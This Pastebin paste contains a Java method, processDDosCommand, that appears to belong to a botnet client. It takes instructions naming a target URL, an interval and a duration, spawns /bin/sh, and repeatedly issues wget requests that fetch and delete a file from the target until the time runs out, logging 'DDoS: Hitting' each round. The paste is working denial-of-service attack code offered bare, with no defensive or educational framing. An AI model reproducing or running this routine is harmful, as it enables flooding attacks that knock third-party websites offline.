Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private void processDDosCommand(DDoSInstructions value) {
- Runtime run = Runtime.getRuntime() ;
- Process pr;
- BufferedWriter inputCommand;
- try {
- pr = run.exec("/bin/sh");
- inputCommand = new BufferedWriter(new OutputStreamWriter(pr.getOutputStream()));
- inputCommand.newLine();
- inputCommand.flush();
- long start = System.currentTimeMillis(), current = start, lastTime=start;
- do {
- if((current-lastTime) > 1000 * value.getPeriodSend()){
- lastTime = current;
- inputCommand.write("wget -O tempWgetFile.txt "+ value.getURL() + "; rm tempWgetFile.txt");
- inputCommand.newLine();
- inputCommand.flush();
- System.out.println("DDoS: Hitting " + value.getURL());
- }
- current = System.currentTimeMillis();
- } while((current - start) < (1000 *60 * value.getRunningTime()));
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
Add Comment
Please, Sign In to add comment